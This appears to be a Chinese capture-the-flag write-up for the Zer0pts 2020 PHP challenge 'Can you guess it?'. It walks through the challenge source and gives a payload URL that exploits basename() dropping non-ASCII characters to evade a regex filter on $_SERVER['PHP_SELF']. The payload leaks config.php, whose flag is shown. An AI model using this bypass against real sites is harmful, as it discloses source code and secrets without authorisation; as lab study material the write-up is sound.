[Zer0pts2020]Can you guess it?.md


首页长这样

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
  </head>
  <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I'll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
<?php if (isset($message)) { ?>
    <p><?= $message ?></p>
<?php } ?>
    <form action="index.php" method="POST">
      <input type="text" name="guess">
      <input type="submit">
    </form>
  </body>
</html>

这个guess显然是没必要guess了,再怎么guess都guess不出来的啦(摊手)

尝试这个source查询的可行性

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

重点是这个此地无银三百两的$_SERVER['PHP_SELF']到底是干啥子的

目的是让basename($_SERVER['PHP_SELF'])config.php

开头的过滤

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

匹配config.php和后面任意多个/到行尾

默认区域设置中,basename 会忽略开头的非ASCII字符

构造payload

/index.php/config.php?source

利用basename函数的问题尝试修改,以绕过preg_match

/index.php/config.php/哀?source
<?php
define('FLAG', 'flag{d26cb9ed-4893-418c-a451-e306c00ead33}');

#Web #PHP #function #bypass #Vulnerabilities #正则表达式